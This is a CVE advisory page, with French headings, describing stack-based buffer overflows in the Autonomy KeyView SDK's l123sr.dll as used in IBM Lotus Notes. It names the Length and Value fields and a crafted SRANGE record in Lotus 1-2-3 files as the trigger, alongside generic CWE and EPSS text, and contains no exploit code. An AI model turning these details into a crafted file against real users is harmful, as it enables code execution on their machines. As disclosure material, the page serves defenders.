Descriptions du CVE
Multiple stack-based buffer overflows in l123sr.dll in Autonomy (formerly Verity) KeyView SDK, as used by IBM Lotus Notes 5.x through 8.x, allow user-assisted remote attackers to execute arbitrary code via the (1) Length and (2) Value fields for certain Types in a Lotus 1-2-3 (.123) file in the Worksheet File (WKS) format, as demonstrated by a file with a crafted SRANGE record, a different vulnerability than CVE-2007-5909.

Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |

EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Autonomy KeyView is prone to multiple buffer-overflow vulnerabilities.
Successfully exploiting these issues could allow an attacker to execute arbitrary code in the context of the user running the application.
Multiple applications incorporate the vulnerable KeyView component, so they are also considered vulnerable to these issues.
NOTE: These issues are similar to those described in BID 26175 (Autonomy KeyView Multiple Buffer Overflow Vulnerabilities) but affect a different component.
